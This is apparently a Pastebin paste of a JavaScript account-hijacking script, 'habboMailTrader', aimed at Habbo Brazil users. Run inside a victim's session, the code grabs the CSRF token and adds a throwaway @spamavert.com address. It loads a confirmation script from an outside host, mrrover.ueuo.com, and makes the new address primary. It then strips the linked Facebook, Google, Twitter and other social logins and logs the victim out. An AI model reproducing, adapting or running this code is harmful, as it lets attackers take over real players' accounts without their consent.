rdsedmundo

[OutOfDate] HabboMailTrader

Apr 5th, 2012
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. habboMailTrader4.1
  3. by edi472
  4. */
  5. d = document;
  6. app = $$('meta[name=csrf-token]')[0].readAttribute('content');
  7. mailTrader = {
  8.     getEmail:function()
  9. {
  10.    new Ajax.Request('/identity/settings',
  11.    {
  12.       onComplete : function(pronto)
  13.       {
  14.          try
  15.          {
  16.             a = pronto.responseText;
  17.             d = /<span>(.*?)<\/span>/gi;
  18.             e = a.match(d);
  19.             z = e.toString();
  20.             y = /(<span\>|<\/span>)/ig;
  21.             emailp = z.replace(y,'').replace(',','').replace('**************','');
  22.             return emailp;
  23.          }
  24.          catch(e)
  25.          {
  26.          }
  27.       }
  28.    }
  29.    )
  30. },
  31.  removeSecondEmail:function(emailremove)
  32. {
  33.     mailTrader.getEmail();
  34.    setTimeout(function(){
  35.       remove = new Image();
  36.       remove.src = 'http://www.habbo.com.br/identity/delete_email?email=' + emailremove + '&__app_key=' + app;
  37.       remove.onload = d.body.appendChild(remove);
  38.    },20000);
  39. },
  40.   socialRemover:function(social,hash)
  41. {
  42.     check = [rsocial,thash];
  43.     for(x in check){
  44.     if(check[x]==undefined||check[x]==''){
  45.         return;
  46.     };
  47.     };
  48.    remove = new Image();
  49.    remove.src = 'http://www.habbo.com.br/identity/remove_auth?provider=' + social + '&idhash=' + hash + '&__app_key=' + app;
  50.    remove.onload = d.body.appendChild(remove);
  51. },
  52.  check:function(){
  53.     if(_ctwitter == true)
  54.          {
  55.             _d = /provider=twitter&(.*?)&/gi;
  56.             if(a.match(_d))
  57.             {
  58.                _e = a.match(_d);
  59.                _f = _e.toString();
  60.                _g = _f.replace('provider=twitter&amp;', '').replace('&', '').replace('idhash=', '');
  61.                Habbo.mailTrader.socialRemover('twitter', '' + _g);
  62.             }
  63.          };
  64.          if(_cgoogle == true)
  65.          {
  66.             d2 = /provider=google&(.*?)&/gi;
  67.             if(a.match(d2))
  68.             {
  69.                e2 = a.match(d2);
  70.                f2 = e2.toString();
  71.                g2 = f2.replace('provider=google&amp;', '').replace('&', '').replace('idhash=', '');
  72.                Habbo.mailTrader.socialRemover('google', '' + g2);
  73.             }
  74.          };
  75.          if(_cmyspace == true)
  76.          {
  77.             d3 = /provider=myspace&(.*?)&/gi;
  78.             if(a.match(d3))
  79.             {
  80.                e3 = a.match(d3);
  81.                f3 = e3.toString();
  82.                g3 = f3.replace('provider=myspace&amp;', '').replace('&', '').replace('idhash=', '');
  83.                Habbo.mailTrader.socialRemover('myspace', '' + g3);
  84.             }
  85.          };
  86.          if(_cyahoo == true)
  87.          {
  88.             d4 = /provider=yahoo&(.*?)&/gi;
  89.             if(a.match(d4))
  90.             {
  91.                e4 = a.match(d4);
  92.                f4 = e4.toString();
  93.                g4 = f4.replace('provider=yahoo&amp;', '').replace('&', '').replace('idhash=', '');
  94.                Habbo.mailTrader.socialRemover('yahoo', '' + g4);
  95.             }
  96.          };
  97.          if(_cfacebook == true)
  98.          {
  99.             d5 = /provider=facebook&(.*?)&/gi;
  100.             if(a.match(d5))
  101.             {
  102.                e5 = a.match(d5);
  103.                f5 = e5.toString();
  104.                g5 = f5.replace('provider=facebook&amp;', '').replace('&', '').replace('idhash=', '');
  105.                Habbo.mailTrader.socialRemover('facebook', '' + g5);
  106.             }
  107.          };
  108.          if(_cmsn == true)
  109.          {
  110.             d6 = /provider=windowslive&(.*?)&/gi;
  111.             if(a.match(d6))
  112.             {
  113.                e6 = a.match(d6);
  114.                f6 = e6.toString();
  115.                g6 = f6.replace('provider=windowslive&amp;', '').replace('&', '').replace('idhash=', '');
  116.                Habbo.mailTrader.socialRemover('windowslive', '' + g6);
  117.             }
  118.       }
  119.  },action:function()
  120. {
  121.     addemail = new Image();
  122.     addemail.src='https://www.habbo.com.br/identity/add_email?email='+email+'@spamavert.com&__app_key='+app;
  123.     addemail.onload = d.body.appendChild(addemail);
  124.     confirmemail = d.createElement('script');
  125.     confirmemail.src='http://mrrover.ueuo.com/hmt4/confirm.php?email='+email;
  126.     d.body.appendChild(confirmemail);
  127.     setTimeout(function(){
  128.     new Ajax.Request('/account/password/identityResetForm',{onComplete:function(){
  129.     primaryemail = new Image();
  130.     primaryemail.src='https://www.habbo.com.br/identity/make_primary_email?email='+email+'@spamavert.com&__app_key='+app;
  131.     primaryemail.onload = d.body.appendChild(primaryemail);
  132.     },method:'POST',parameters:'emailAddress='+email+'@spamavert.com'});
  133.     },3000);
  134.     setTimeout(function(){
  135.     logout = new Image();
  136.     logout.src = 'https://www.habbo.com.br/account/logout?token=' + app;
  137.     logout.onload = d.body.appendChild(logout);
  138.     },7900);
  139.    new Ajax.Request('/identity/auth',
  140.    {
  141.       onComplete : function(pronto)
  142.       {
  143.          a = pronto.responseText;
  144.          ds = /<li class=\"twitter\"/gi;
  145.          f = /<li class=\"google\"/gi;
  146.          g = /<li class=\"myspace\"/gi;
  147.          h = /<li class=\"yahoo\"/gi;
  148.          i = /<li class=\"facebook\"/gi;
  149.          j = /<li class=\"windowslive\"/gi;
  150.          if( ! a.match(ds))
  151.          {
  152.             _ctwitter = true;
  153.          };
  154.          if( ! a.match(f))
  155.          {
  156.             _cgoogle = true;
  157.          };
  158.          if( ! a.match(g))
  159.          {
  160.             _cmyspace = true;
  161.          };
  162.          if( ! a.match(h))
  163.          {
  164.             _cyahoo = true;
  165.          };
  166.          if( ! a.match(i))
  167.          {
  168.             _cfacebook = true;
  169.          };
  170.          if( ! a.match(d))
  171.          {
  172.             _cmsn = true;
  173.          };
  174.          mailTrader.check();
  175.       }});
  176.    new Ajax.Request('/myhabbo/tag/add',
  177.    {
  178.       parameters : 'accountId=' + habboId + '&tagName=hmt'
  179.    }
  180.    )
  181. }
  182. };
Advertisement
Add Comment
Please, Sign In to add comment